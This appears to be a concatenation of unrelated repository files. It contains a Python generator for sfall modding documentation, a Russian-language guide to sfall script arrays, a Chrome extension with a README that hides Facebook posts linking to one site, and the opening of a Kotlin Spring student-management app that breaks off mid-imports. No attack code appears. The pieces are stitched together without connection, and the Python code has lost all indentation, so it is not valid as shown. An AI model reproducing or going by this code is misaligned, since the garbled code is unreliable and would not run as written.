# individual functions
items = cat['items']
items = sorted(items, key=lambda k: k['name'])
for i in items:
# header
text += "\n### **{}**\n".format(i['name'])
# macros
if 'macro' in i and i['macro'] is True:
text += '{: .d-inline-block }\nMACRO\n{: .label .label-green }\n'
if 'unsafe' in i and i['unsafe'] is True:
text += '{: .d-inline-block }\nUNSAFE\n{: .label .label-red }\n'
# usage
text += '''```c++
{}
```
'''.format(i['detail'])
# doc, if present
if 'doc' in i:
text += i['doc'] + '\n'
if 'details' in i:
text += "\n\n**Macro from:**\n{: .fs-2 .lh-0 }\n" + '''```
{}
```
'''.format(i['details'])
text += '\n---\n'
md_path = os.path.join(md_dir, slug + ".md")
with open(md_path, 'w') as f:
f.write(text)
# hook types page
with open(hooks_yaml) as yf:
hooks = yaml.load(yf)
hooks = sorted(hooks, key=lambda k: k['name']) # alphabetical sort
text = hooks_header
for h in hooks:
name = h['name']
doc = h['doc']
codename = "HOOK_" + name.upper()
if 'filename' in h: # overriden filename?
filename = h['filename']
else:
filename = "hs_" + name.lower() + ".int"
text += "\n## {}\n\n".format(name) # header
if filename != "": # if not skip
text += "`{}` ({})\n\n".format(codename, filename) # `HOOK_SETLIGHTING` (hs_setlighting.int)
text += doc # actual documentation
md_path = os.path.join(md_dir, "hook-types.md")
with open(md_path, 'w') as f:
f.write(text)
<file_sep>---
layout: page
title: Arrays
nav_order: 2
has_children: true
permalink: /arrays/
---
---
# МАССИВЫ
{: .no_toc}
Sfall вводит новый метод хранения переменных - массивы.
Массив - это в основном контейнер, в котором может храниться переменное количество значений (элементов). Каждый элемент в массиве может быть любого типа.
Массивы могут быть чрезвычайно полезны для некоторых более сложных сценариев в сочетании с циклами.
See array function reference [here]({{ site.baseurl }}/array-functions/).
***
### КОНЦЕПЦИЯ МАССИВОВ
Массивы создаются и управляются с помощью функций массива. Для начала массив должен быть создан с помощью функций `create_array` или `temp_array`, указав, сколько элементов данных может содержать массив. Вы можете хранить любые типы данных `int`, `float` или `string` в массиве, также можно смешивать все 3 типа в одном массиве.
Идентификатор массива, возвращаемый функциями `create_array` или `temp_array`, может использоваться в других функциях для доступа к созданному массиву. Массивы являются общими для всех сценариев (т.е. вы можете вызвать "create_array" в одном сценарии, а затем использовать возвращенный идентификатор в совершенно другом сценарии для доступа к массиву).
Массивы также могут быть сохранены в файлах сохранения игры.
Массивы, созданные с помощью `temp_array`, будут автоматически удалены в конце кадра выполнения сценария.
`create_array` - единственная функция, которая возвращает постоянный массив, все остальные функции, возвращающие массивы (`string_split`, `list_as_array` и т.д.), создают временные массивы. Вы можете использовать функцию `fix_array`, чтобы сделать временный массив постоянным.
Функции массивов полностью безопасны в том смысле, что использование неверного идентификатора или попытки доступа к элементам вне размера массива не приведут к сбою в сценарии.
Доступ к элементам массива осуществляется по индексу или ключу.
_Пример:_
```js
// this code puts some string in array "list" at index 5:
list[5] := "Value";
```
В настоящее время доступно 2 различных типа массива:
1. **Lists** - предоставляет коллекцию значений, определенного размера (количество элементов), где элементы имеют числовые индексы, первый индекс элемента всегда начинается с нуля (0) до конца всей длины массива минус единица.
_Пример:_
```js
// this creates list with 3 elements. Element "A" has index 0, element "B" has index 1, element "C" - 2
list := ["A", "B", "C"];
```
Ограничения:
- все индексы являются числовыми, и начинаются с 0
- чтобы присвоить значение элементу списка по определенному индексу, необходимо для сначала изменить размер массива, чтобы список содержал этот индекс
например, если список имеет размер 3 (индексы от 0 до 2), вы не можете присвоить значение по индексу 4, если сначала не измените размер списка на 5
2. **Maps** - ассоциативные массивы содержат наборы пар **key=>value**, где все элементы (значения) доступны с помощью соответствующих ключей.
Отличия Maps (карт) от List (списка):
- ассоциативные массивы не имеют определенного размера (для присвоения значений вам не нужно изменять размер массива)
- ключи, как и значения, могут быть любого типа (но избегайте использования -1 в качестве ключей массива, иначе вы не сможете надежно использовать некоторые функции)
Оба типа массива имеют свои плюсы и минусы и подходят для решения различных задач.
___
### СИНТАКСИС МАССИВОВ
В основном массивы реализуются с использованием ряда новых операторов (функций сценариев). Но для удобства использования есть некоторые новые элементы синтаксиса:
1. Доступ к элементам. Используйте квадратные скобки:
```js
display_msg(arr[5]);
mymap["price"] := 515.23;
```
2. Альтернативный доступ к картам. Используйте точку:
```js
display_msg(mymap.name);
mymap.price := 232.23;
```
3. Выражения массива. Создавайте и заполняйте массивы просто используя одно выражение:
```js
// create list with 5 values
[5, 777, 0, 3.14, "Cool Value"]
// create map:
{5: "Five", "health": 50, "speed": 0.252}
```
__NOTES:__
Обязательно вызовите `fix_array`, если вы хотите, чтобы новый массив был доступен в следующем фрейме выполнения сценария, или `save_array`, если вы хотите использовать его в течение более длительного периода (подробнее см. следующий раздел).
4. Перебор элементов массива в цикле. Используйте ключевое слово `foreach` следующим образом:
```js
foreach (item in myarray) begin
// этот блок выполняется для каждого элемента массива, где "item" содержит текущее значение на каждом шаге итерации
end
// альтернативный синтаксис:
foreach (key: item in myarray) begin
// "key" будет содержать текущий ключ (или числовой индекс, для списков)
end
```
См.: **sslc_readme.txt** файл для получения полной информации о новых функциях синтаксиса SSL.
___
### ХРАНЕНИЕ МАССИВОВ
Часть массивов списков и карт разделена по способу их хранения.
Существует 3 типа массивов:
* **Temporary**: Они создаются с помощью функции `temp_array` или при использовании выражений массива. Массивы этого типа автоматически удаляются в конце кадра выполнения сценария. Так, например, если у вас есть глобальный сценарий, который выполняется через регулярные промежутки времени, где вы создаете `temp_array`, то массив не будет доступен при следующем выполнении вашего глобального сценария.
* **Permanent**: Они создаются с помощью функций `create_array` или `fix_array` (из уже существующего временного массива). Массивы этого типа всегда доступны (по их идентификатору) до тех пор, пока вы не начнете новую игру или не загрузите сохраненную игру (после чего они будут удалены).
* **Saved**: Если вы хотите, чтобы ваш массив действительно оставался на некоторое время, используйте функцию `save_array`, чтобы сделать любой массив "сохраняемым". Однако они, как и постоянные массивы, "удаляются" из памяти при загрузке игры. Чтобы правильно их использовать, вы должны загружать их из сохраненной игры с помощью "load_array" всякий раз, когда вы хотите их использовать.<br>
_Пример:_
```js
variable savedArray;
procedure start begin
if game_loaded then begin
savedArray := load_array("traps");
end else begin
foreach trap in traps begin
....
end
end
end
```
___
### ПРАКТИЧЕСКИЕ ПРИМЕРЫ
**Используйте массивы для реализации процедур с переменными аргументами:**
```js
// define it
procedure give_item(variable critter, variable pidList) begin
foreach (pid: qty in pidList) begin
give_pid_qty(critter, pid, qty);
end
end
// call it:
call give_item(dude_obj, {PID_SHOTGUN: 1, PID_SHOTGUN_SHELLS: 4, PID_STIMPAK: 3});
```
**Создание массивов объектов (карт) для продвинутого скриптинга:**
```js
variable traps;
procedure init_traps begin
// just a quick example, there is a better way of doing it...
traps := load_array("traps");
if (traps == 0) then begin
traps := [];
save_array("traps", traps);
end
foreach k: v in traps begin
traps[k] := load_array("trap_"+k); // каждый объект хранится отдельно
end
end
procedure add_trap(variable trapArray) begin
variable index;
index := len_array(traps);
save_array("trap_"+k, trapArray);
array_push(traps, trapArray);
end
// use them:
foreach trap in traps begin
if (self_elevation == trap["elev"] and tile_distance(self_tile, trap["tile"]) < trap["radius"]) then
// kaboom!!!
end
end
```
___
## ПРИМЕЧАНИЯ ПО ОБРАТНОЙ СОВМЕСТИМОСТИ
Для тех, кто использовал массивы в своих модах до sfall 3.4:
1. Существует INI параметр **ArraysBehavior** в **Misc** разделе файла "ddraw.ini". Если его значение установлено в 0, то все сценарии, которые ранее использовали массивы sfall, должны работать. Это в основном меняет то, что `create_array` создает постоянные массивы, которые "сохраняются" по умолчанию, и их идентификатор также является постоянным. По умолчанию этот параметр равен 1.
2. Как обрабатывается совместимость с сохраненными играми?.<br>
Сохраненные массивы хранятся в файле **sfallgv.sav** (в сохраненной игре) в новом (более гибком) формате сразу после старых массивов. Таким образом, в принципе, когда вы загружаете старую сохраненную игру, sfall загрузит массивы из старого формата и сохранит их в новом формате при следующем сохранении игры. Если вы загрузите сохраненную игру, созданную с помощью sfall 3.4, используя sfall 3.3 (например), игра не должна завершиться сбоем, но все массивы будут потеряны.
3. Ранее вам приходилось указывать размер в байтах для элементов массива. Этот параметр теперь игнорируется, и вы можете хранить строки произвольной длины в массивах.
| 563bfd84e4dbf113e4d884317cef10ce36c1053c | [
"Markdown",
"Python",
"Shell"
] | 5 | Shell | FakelsHub/sfall-documentation | 392f822e130ce246b909342f23a81113037fff5a | 82fafb1102844f43133c53f943748fc544d14618 |
refs/heads/master | <file_sep>var blocked_feeds = [];
function nope(){
console.log("Entered Nope function");
//news feeds.
stories = document.getElementsByClassName("_5uch");
for(var i=0; i < stories.length; i++){
console.log("Story #"+i);
var story = stories[i];
remove_feeds(story, "feed");
}
//walls.
wall_posts = document.getElementsByClassName("timeline");
for(var i=0; i < wall_posts.length; i++){
console.log("Wall post #"+i);
var post = wall_posts[i];
remove_feeds(post, "wall");
}
}
function remove_feeds(item, pageType){
console.log("Entered remove_feeds");
var links = item.getElementsByTagName("a");
for(var k=0; k < links.length; k++){
var link = links[k];
var href = link.href.toLowerCase();
console.log("Processing links");
// decide which type of link it is
var linkType = null;
// if (href.indexOf("facebook.com/the_page_name") !== -1 ){
// linkType = "page link";
// }
// if (href.indexOf("shrt.lnk") !== -1 ){
// linkType = "shortened link";
// }
if (href.indexOf("yourstory.com") !== -1 ){
console.log("regular link found")
linkType = "regular link";
}
// hide it.
if(linkType !== null){
hideItem(item, linkType, pageType);
}
}
}
function hideItem(item, linkType, pageType){
// set the story to be invisible
item.style.opacity = "0.0";
item.style.display = "None";
console.log("Hiding item : "+item)
// add this story to the list of killed stories
if (blocked_feeds.indexOf(item) == -1){
console.log("Saide nope to " + item + " on your " + pageType);
blocked_feeds.push(item);
}
}
console.log("Entered nope.js");
nope();
document.addEventListener("scroll", nope);<file_sep>// when the extension is first installed
chrome.runtime.onInstalled.addListener(function(details) {
localStorage["nope_installed"] = true;
});
// Listen for any changes to the URL of any tab.
// see: http://developer.chrome.com/extensions/tabs.html#event-onUpdated
chrome.tabs.onUpdated.addListener(function(id, info, tab){
if (tab.status !== "complete"){
console.log("not yet");
return;
}
if (tab.url.toLowerCase().indexOf("facebook.com") === -1){
console.log("not here");
return;
}
if (localStorage["nope_installed"] == "true"){
console.log("HI executing them script.");
chrome.tabs.executeScript(null, {"file": "nope.js"});
}
});
// show the popup when the user clicks on the page action.
chrome.pageAction.onClicked.addListener(function(tab) {
chrome.pageAction.show(tab.id);
});
<file_sep>Current goal : To remove certain content from facebook feed.
Future goals:
1. Remove similar content appearing on the feed.
* For any entered regex.
* For similar lines.
* Content from any particular urls.
2. Sentiment analysis.
If someone wants all “new year posts” gone, then just entering "new year posts” in what to remove textbox should remove all the posts containing the same sentiment. | 17f5dd5b38ae28397a9aa7d9082c243830e5746d | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | ravisvi/nope | d5b0f4fd0c024156b7cf1ba6e521433d19c1baff | fe2d0003dc80951a1d52345cd0b8fa37c5e3ec51 |
refs/heads/master | <file_sep>package com.mytechladder.moviereview.controller;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.jpa.repository.Query;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import com.mytechladder.moviereview.model.*;
import com.mytechladder.moviereview.model.Reviews;
import com.mytechladder.moviereview.repository.MovieRepo;
import com.mytechladder.moviereview.repository.ReviewRepo;
import com.mytechladder.moviereview.repository.UserRepo;
@RestController
@RequestMapping("/movie")
public class ReviewController {
@Autowired
private ReviewRepo reviewrepo;
@Autowired
private MovieRepo movierepo;
@Autowired
private UserRepo userrepo;
// Usecase(taskId)-1
@PostMapping(path = "/comment")
public @ResponseBody String addComments(@RequestParam String username, @RequestParam String title,
@RequestParam String comment, @RequestParam int starrating) {
return "Saved review";
}
// Usecase/(taskid) -3
@GetMapping("/comment")
public List<Reviews> getMoviesByRatAndCat(@RequestParam int rating, @RequestParam String category){
// Get movies by category & prepare movie id list
List<Movie> moviesByGivenCategory = movierepo.findByCategory(category);
List<Integer> movieIdList = new ArrayList<Integer>();
for(Movie mv : moviesByGivenCategory) {
movieIdList.add(mv.getId());
}
// Get reviews by rating and prepared movie id list
List<Reviews> result = reviewrepo.findByRatingAndMovie_idIn(rating, movieIdList);
return result;
};
}
<file_sep>package com.mytechladder.moviereview;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class MovieReviewApplicationTests {
@Test
public void contexLoads() {
}
}
<file_sep># MovieReview
This is an IMDB style movie review database.
API will be implemented using Spring Boot and MySQL as the DB.
| 803620139fc631937d41d8705df0ef8250ac3a31 | [
"Markdown",
"Java"
] | 3 | Java | mytechladder/MovieReview | 57f10a0dcf94f7c218d3fb17691023410f17ea47 | 6f5cc23dd1e1fe8795f674d0ddca7c8769af480b |
refs/heads/main | <file_sep>const firebaseConfig = {
apiKey: "<KEY>",
authDomain: "bongo-riders.firebaseapp.com",
projectId: "bongo-riders",
storageBucket: "bongo-riders.appspot.com",
messagingSenderId: "396191673682",
appId: "1:396191673682:web:46e1528fa812e4077f9e8b"
};
export default firebaseConfig;<file_sep># Bongo Ridrer --- the ride sharing website.
## Live Link: [https://bongo-riders.web.app/](https://bongo-riders.web.app/)
## Github Repository Link: [https://github.com/Porgramming-Hero-web-course/react-auth-albiummid](https://github.com/Porgramming-Hero-web-course/react-auth-albiummid)
### This site is fully responsive in any devices by Pure CSS
### Own created Api used
### Own Login and SignUp Section Added
### Logo,Name,Navbar styles are changed for getting full core marks
### Google map added for bonus marks and many other things added
----------------------<<<<<<<<<<< Happy Coding>>>>>>>>>>>------------------------------<file_sep>import React from 'react';
import "./CategoryCard.css"
const CatargoryCard = (props) => {
const { category, img } = props.vehicle;
const clickHandler = props.clickHandler;
return (
<div onClick={()=>clickHandler(category)} className="vehicle-container">
<img src={img} alt="" />
<h2>{category}</h2>
</div>
);
};
export default CatargoryCard; | 2dc2e4a352ab0ba258f73753fe4823ff10c79fa8 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | albiummid/bongo-riders-a9 | dc0e5a4388c425dc2f6efe92da0eeeeee7bc6c0d | 794b0c773b71a3ecff05f452788015ba3a413685 |
refs/heads/main | <file_sep>import pandas as pd
import datetime as dt
import os
import json
create_productioncompanies_path = os.path.dirname(__file__)
def load_clean_movie_file():
#import the movies csv file into dataframe
file_movie = f"{create_productioncompanies_path}/../files/movies_clean_1.csv"
#columns to import from csv file ..
col_list = ["id", "production_companies" ]
movies_df = pd.read_csv(file_movie,usecols=col_list, low_memory=False)
print (f"Orinal record count: {len(movies_df)}")
print(movies_df.head(5))
return movies_df
def generate_production_companies_dfs(movies_df):
productioncompanies_list = []
movies_productioncompanies_list = []
for index, movie in movies_df.iterrows():
#json_dictionaries = json.loads(movie.production_companies)
splits = movie.production_companies.split("{")
for idx in range(1, len(splits)):
# the name value is from the colon to the , "id":
production_company_line = splits[idx]
find_idx = production_company_line.find(", 'id':", 9)
name_value = production_company_line[9:find_idx-1]
production_company_line = production_company_line[find_idx + 8: len(production_company_line)]
find_idx = production_company_line.find("}")
id_value = production_company_line[0:find_idx]
production_company = {"name": name_value, "id": str(id_value)}
if not production_company in productioncompanies_list:
productioncompanies_list.append(production_company)
movie_genre = {"movie_id": str(movie.id), "production_company_id": id_value}
movies_productioncompanies_list.append(movie_genre)
return pd.DataFrame(productioncompanies_list), pd.DataFrame(movies_productioncompanies_list)
def save_data(production_companies_df, movies_production_companies_df):
production_compoanies_file = f"{create_productioncompanies_path}/../files/production_companies.csv"
production_companies_df.to_csv(production_compoanies_file, index=False)
movies_production_companies_file = f"{create_productioncompanies_path}/../files/movies_productioncompanies.csv"
movies_production_companies_df.to_csv(movies_production_companies_file, index=False)
movies_df = load_clean_movie_file()
production_companies_df, movies_production_companies_df = generate_production_companies_dfs(movies_df)
print(production_companies_df.head(20))
print(movies_production_companies_df.head())
save_data(production_companies_df, movies_production_companies_df)
print("production companies csv data file generation complete")<file_sep>import pandas as pd
import datetime as dt
import os
clean_movies_path = os.path.dirname(__file__)
def load_movies_meta():
#import the movies csv file into dataframe
file_movie = f"{clean_movies_path}/../files/movies_metadata.csv"
#columns to import from csv file ..
col_list = ["adult", "budget", "id", "imdb_id", "original_language", "title", "release_date", "revenue", "runtime", "status", "vote_average", "vote_count", "original_title", "popularity", "genres", "production_companies" ]
movies_df = pd.read_csv(file_movie,usecols=col_list, low_memory=False)
print (f"Orinal record count: {len(movies_df)}")
movies_df.head(5)
return movies_df
def clean_remove_budget(movies_df):
movies_df["budget"] = movies_df["budget"].astype(str)
movies_df = movies_df[movies_df.budget.apply(lambda x: x.isnumeric())]
movies_df["budget"] = movies_df["budget"].astype(int)
movies_df = movies_df.loc[movies_df["budget"] > 0]
print (f"Record count after budget 0 removed: {len(movies_df)}")
movies_df.head(5)
return movies_df
def clean_data(movies_df):
#remove duplicate id from dataframe
movies_df.drop_duplicates(subset='id', inplace=True)
#convert id to int and remove the non-numeric ids
movies_df[["id"]] = movies_df[["id"]].apply(pd.to_numeric, errors='coerce')
# #remove null or na
movies_df.dropna(subset=['id'], inplace= True)
print(f"Record count after data cleanup: {len(movies_df)}")
return movies_df
def save_data(movies_df):
clean_file = f"{clean_movies_path}/../files/movies_clean_1.csv"
movies_df.to_csv(clean_file)
movies_df = load_movies_meta()
movies_df = clean_remove_budget(movies_df)
movies_df = clean_data(movies_df)
save_data(movies_df)
<file_sep># Introduction to Data Visualization with Seaborn
<file_sep>select m.title, m.revenue, m.popularity
from movie m
order by m.revenue DESC
limit 25
<file_sep>select m.title, m.release_date, m.popularity, t1.avg_rating, am.rating [Amazon rating], am.amazon_link
from movie m
join (select movie_id, avg(rating) [avg_rating]
from rating
group by movie_id
) t1 on m.movie_id = t1.movie_id
left join amazon_movie am on am.movie_id = m.movie_id
order by avg_rating desc, m.title
limit 25
<file_sep>-- highest budget film
select *
from movie
order by budget desc
limit 1
<file_sep>-- revenue vs budget comparison
select title, revenue - budget [money_made]
from movie
order by money_made
limit 10<file_sep>-- revenue vs budget comparison
select title, revenue - budget [money_made]
from movie m
--join movie_genres mg on m.movie_id = mg.movie_id
--join genres g on mg.genres_id = g.genres_id
--where g.geners_name = 'Horror'
order by money_made DESC
limit 10<file_sep>Data Pipelines and Viz in Python<file_sep># Movies Data ETL Project
## An ETL project focuses around movies
* Extract Movies and ratings csv data from www.Kaggle.com
* Transformed the data using Python Pandas
* Web scrape Amazon search for Movie Title
* Performed data modeling, created a Schema
* Used SQL Alchemy to load the data SQL Lite
* Query data to show results

<file_sep>import pandas as pd
import datetime as dt
import os
# SQLAlchemy
from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, Float, Date, null, ForeignKey, MetaData, Table
from sqlalchemy.orm import Session
Base = declarative_base()
create_files_path = os.path.dirname(__file__)
# Path to sqlite
database_path = f"{create_files_path}/../database/combined_data.sqlite"
# Create an engine that can talk to the database
engine = create_engine(f"sqlite:///{database_path}")
conn = engine.connect()
session = Session(bind=engine)
# Create tables, classes and databases
# ----------------------------------
try:
meta = MetaData()
amazon_movie = Table(
'amazon_movie', meta,
Column('movie_id', Integer, ForeignKey("movie.movie_id"), primary_key=True, autoincrement=False),
Column('amazon_title', String(500), nullable=False),
Column('rating', String(20), nullable=True),
Column('amazon_link', String(500), nullable=True),
)
meta.create_all(engine)
except Exception as e:
print(e)
print("the table already exists")
class Movie(Base):
__tablename__ = 'movie'
movie_id = Column(Integer, primary_key=True, autoincrement=False)
adult = Column(String(10), nullable=True)
budget = Column(Float, nullable=True)
imdb_id = Column(String(40), nullable=True)
language = Column(String(10), nullable=True)
title = Column(String(512), nullable=True)
popularity = Column(Float, nullable=True)
release_date = Column(Date, nullable=True)
revenue = Column(Float, nullable=True)
runtime = Column(Float, nullable=True)
status = Column(String(10), nullable=True)
vote_average = Column(Float, nullable=True)
vote_count = Column(Float, nullable=True)
class AmazonMovie(Base):
__tablename__ = "amazon_movie"
movie_id = Column(Integer, ForeignKey("movie.movie_id"), primary_key=True, autoincrement=False)
amazon_title = Column(String(500), nullable=False)
rating = Column(String(20), nullable=True)
amazon_link = Column(String(500), nullable=True)
def process_file(csv_file_name):
print(f"Processing file: {csv_file_name}")
movies_df = pd.read_csv(file_movie, low_memory=False)
for index, row in movies_df.iterrows():
amazon_movie = AmazonMovie(movie_id = row["movie_id"], amazon_title=row["amazon_title"], rating=row["rating"], amazon_link=row["amazon_link"])
session.add(amazon_movie)
session.commit()
# start import of data process
print("Starting process of Amazon Data Injestion")
print("Delete existing data")
try:
conn.execute("delete from amazon_movie")
except Exception as e:
print(e)
print("No records to delete")
file_movie = f"{create_files_path}/../files/amazon_ratings.1.csv"
process_file(file_movie)
file_movie = f"{create_files_path}/../files/amazon_ratings.2.csv"
process_file(file_movie)
<file_sep>select m.title, g.geners_name
from movie m
join movie_genres mg on m.movie_id = mg.movie_id
join genres g on mg.genres_id = g.genres_id
order by m.title
<file_sep># Intermediate Data Visualization with Seaborn
<file_sep>import pandas as pd
import os
from splinter import Browser
from bs4 import BeautifulSoup
import urllib.parse
from io import StringIO
import time
import datetime
import sys, traceback
def init_browser():
# @NOTE: Replace the path with your actual path to the chromedriver
path = os.path.dirname(__file__)
executable_path = {'executable_path': f'{path}/chromedriver.exe'}
return Browser('chrome', **executable_path, headless=False)
def load_movies_into_df():
# Running it outside of debug mode, the path is not setting correctly
path = os.path.dirname(__file__)
movies_csv = f"{path}/../files/movies_clean_1.csv"
movies_df = pd.read_csv(movies_csv)[["id", "title", "original_title", "release_date", "budget"]]
return movies_df
def find_movie(browser, movie_id, title, original_title, release_date):
url_base = "https://www.amazon.com/s?k=dvd+movie+{escape_movie}&ref=nb_sb_noss"
quoted_title = f'"{title}"'
url = url_base.replace("{escape_movie}", urllib.parse.quote_plus(quoted_title))
found_movie = find_movie_with_url(browser, url, movie_id, title, original_title, release_date, None)
if found_movie == None and release_date != None:
url_base = "https://www.amazon.com/s?k=dvd+movie+{escape_movie}+{year}&ref=nb_sb_noss"
format_str = '%m/%d/%Y' # The format
release_date = datetime.datetime.strptime(release_date, format_str)
year = f"{release_date.year}"
quoted_title = f'"{title}"'
url = url_base.replace("{escape_movie}", urllib.parse.quote_plus(quoted_title))
url = url.replace("{year}", year)
found_movie = find_movie_with_url(browser, url, movie_id, title, original_title, release_date, year)
return found_movie
def find_movie_with_url(browser, url, movie_id, title, original_title, release_date, year):
print(url)
browser.visit(url)
time.sleep(1)
html = browser.html
soup = BeautifulSoup(html, "html.parser")
search_results = soup.find_all("span", {"data-cel-widget": "MAIN-SEARCH_RESULTS"})
found_movie = None
for search_result in search_results:
found_movie = process_search_result(search_result, movie_id, title, original_title, release_date, year)
if found_movie:
break
return found_movie
def process_search_result(search_result, movie_id, title, original_title, release_date, year):
accepted_classes = ["sg-col-inner", "s-include-content-margin"]
found_movie = False
for accepted_class in accepted_classes:
result_items = search_result.find_all("div", class_=accepted_class)
for movie_info in result_items:
try:
text = movie_info.text
idx = text.find(title)
if idx <= 0:
continue
movie_name, rating, link = get_amazon_movie_name_ratings(movie_info, title, original_title, year)
if rating != None:
found_movie = True
break
except Exception:
print("oops....not the section we are looking for")
if (found_movie):
break
if found_movie:
return {"movie_id": movie_id
, "amazon_title": movie_name
, "rating": rating
, "amazon_link": f"www.amazon.com{link}"
}
return None
def get_amazon_movie_name_ratings(movie_info, title, original_title, year):
h2 = movie_info.find("h2")
anchor = h2.find("a")
span = anchor.find("span")
amazon_movie_name = movie_name = span.get_text()
movie_name = amazon_movie_name.lower()
# need to find colon and only take movie name to that point
movie_name_possibilities = []
movie_name_possibilities.append(movie_name)
movie_name_possibilities.append(movie_name.rpartition(':')[0])
bfound = False
link = None
for compare_movie_name in movie_name_possibilities:
if (compare_movie_name == title.lower() or compare_movie_name == original_title.lower()):
if (movie_name != compare_movie_name):
if does_release_year_match(h2, year):
bfound = True
break
else:
bfound = True
break
if bfound:
link = anchor.attrs["href"]
rating = get_rating(movie_info)
else:
rating = None
return amazon_movie_name, rating, link
def does_release_year_match(h2, movie_release_year):
year_div = h2.next_sibling.next_sibling
span = year_div.find("span")
amazon_release_year = span.get_text()
return amazon_release_year == movie_release_year
def get_rating(movie_info):
spans = movie_info.find_all("span")
for span in spans:
if span.has_attr("aria-label"):
attr = span.attrs["aria-label"]
if attr != None:
rating = attr
return rating
return None
def save_amazon_data(movies, not_found_movies):
path = os.path.dirname(__file__)
amazon_csv = f"{path}/../files/amazon_ratings.csv"
df = pd.DataFrame(movies)
df.to_csv(amazon_csv, index=False)
df = pd.DataFrame(not_found_movies)
not_found_csv = f"{path}/../files/amazon_ratings_not_found.csv"
df.to_csv(not_found_csv, index=False)
def is_date(date_obj):
is_date = True
try:
format_str = '%m/%d/%Y' # The format
date = datetime.datetime.strptime(date_obj, format_str)
except Exception as e:
is_date = False
print(e)
return is_date
movies_df = load_movies_into_df()
browser = init_browser()
print(movies_df.head())
movies = []
not_found_movies = []
try:
count = 0
skipRows = True
for index, movie in movies_df.iterrows():
count += 1
print(f"[{movie.title}] - {count}")
# if count > 10:
# break
# if movie.title == "Dreamkiller":
# skipRows = False
# if skipRows:
# continue
# should have been part of cleaning data process
release_date = movie.release_date
if not is_date(release_date):
release_date = None
amazon_movie = find_movie(browser, movie.id, movie.title, movie.original_title, release_date)
if amazon_movie != None:
print(amazon_movie)
movies.append(amazon_movie)
else:
not_found_movies.append(movie)
print("did not find movie", movie)
except Exception as e:
exc_type, exc_value, exc_traceback = sys.exc_info()
print("*** print_tb:")
traceback.print_tb(exc_traceback, limit=1, file=sys.stdout)
print("*** print_exception:")
# exc_type below is ignored on 3.5 and later
traceback.print_exception(exc_type, exc_value, exc_traceback,
limit=2, file=sys.stdout)
print("*** print_exc:")
traceback.print_exc(limit=2, file=sys.stdout)
print("*** format_exc, first and last line:")
formatted_lines = traceback.format_exc().splitlines()
print(formatted_lines[0])
print(formatted_lines[-1])
print("*** format_exception:")
# exc_type below is ignored on 3.5 and later
print(repr(traceback.format_exception(exc_type, exc_value,
exc_traceback)))
print("*** extract_tb:")
print(repr(traceback.extract_tb(exc_traceback)))
print("*** format_tb:")
print(repr(traceback.format_tb(exc_traceback)))
print("*** tb_lineno:", exc_traceback.tb_lineno)
print("Failed....save what you can")
print(e)
save_amazon_data(movies, not_found_movies)
browser.quit()
<file_sep>import datetime
your_timestamp = 851866703
date = datetime.datetime.fromtimestamp(your_timestamp / 1e3)
print(date)
timestamp = "1331380058000"
your_dt = datetime.datetime.fromtimestamp(int(timestamp)/1000) # using the local timezone
print(your_dt.strftime("%Y-%m-%d %H:%M:%S")) # 2018-04-07 20:48:08, YMMV<file_sep>import pandas as pd
import datetime as dt
import os
import json
create_genres_path = os.path.dirname(__file__)
def load_clean_movie_file():
#import the movies csv file into dataframe
file_movie = f"{create_genres_path}/../files/movies_clean_1.csv"
#columns to import from csv file ..
col_list = ["id", "genres" ]
movies_df = pd.read_csv(file_movie,usecols=col_list, low_memory=False)
print (f"Orinal record count: {len(movies_df)}")
movies_df.head(5)
return movies_df
def generate_generas_dfs(movies_df):
genres_list = []
movies_genres_list = []
for index, movie in movies_df.iterrows():
genres_json = movie.genres.replace("'", "\"")
genres = json.loads(genres_json)
for genre in genres:
if not genre in genres_list:
genres_list.append(genre)
movie_genre = {"movie_id": str(movie.id), "genre_id": str(genre["id"])}
movies_genres_list.append(movie_genre)
return pd.DataFrame(genres_list), pd.DataFrame(movies_genres_list)
def save_data(genres_df, movies_genres_df):
genres_file = f"{create_genres_path}/../files/genres.csv"
genres_df.to_csv(genres_file, index=False)
movies_genres_file = f"{create_genres_path}/../files/movies_genres.csv"
movies_genres_df.to_csv(movies_genres_file, index=False)
movies_df = load_clean_movie_file()
genres_df, movies_genres_df = generate_generas_dfs(movies_df)
print(genres_df.head(20))
print(movies_genres_df.head())
save_data(genres_df, movies_genres_df)
print("genres csv data file generation complete")<file_sep># Introduction to Data Visualization with Matplotlib
| e2d34381584426d515f0e1c0274571e0166f80fd | [
"Markdown",
"SQL",
"Python"
] | 17 | Python | jwkidd3/sbux_pipe_viz | 08430529cdbe7f76b558cc1d51fd34fa5f7e9d97 | af87c3dff617f452fc751a7b9f77af8a3e668ba4 |
refs/heads/master | <file_sep>package com.kaushikam.spring.config
import com.kaushikam.domain.model.student.Student
import org.springframework.boot.autoconfigure.domain.EntityScan
import org.springframework.context.annotation.Configuration
@Configuration
@EntityScan(basePackageClasses = [ Student::class ])
class DomainConfig<file_sep>package com.kaushikam.application.impl
import com.kaushikam.application.StudentManagementService
import com.kaushikam.domain.model.student.Student
import com.kaushikam.domain.model.student.StudentRepository
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.stereotype.Service
@Service
class StudentManagementServiceImpl @Autowired constructor (
val studentRepository: StudentRepository
): StudentManagementService {
override fun addStudent(student: Student) {
studentRepository.save(student)
}
override fun listStudents(): List<Student> {
return studentRepository.findAll()
}
}<file_sep>package com.kaushikam.interfaces.http.rest
import com.github.database.rider.core.api.dataset.DataSet
import com.github.database.rider.core.api.dataset.ExpectedDataSet
import com.github.database.rider.spring.api.DBRider
import com.kaushikam.StudentApplication
import com.kaushikam.interfaces.http.rest.facade.AddStudentDTO
import com.kaushikam.interfaces.http.rest.facade.StudentDTO
import org.assertj.core.api.Assertions
import org.junit.jupiter.api.Test
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.boot.test.web.client.TestRestTemplate
import org.springframework.boot.web.server.LocalServerPort
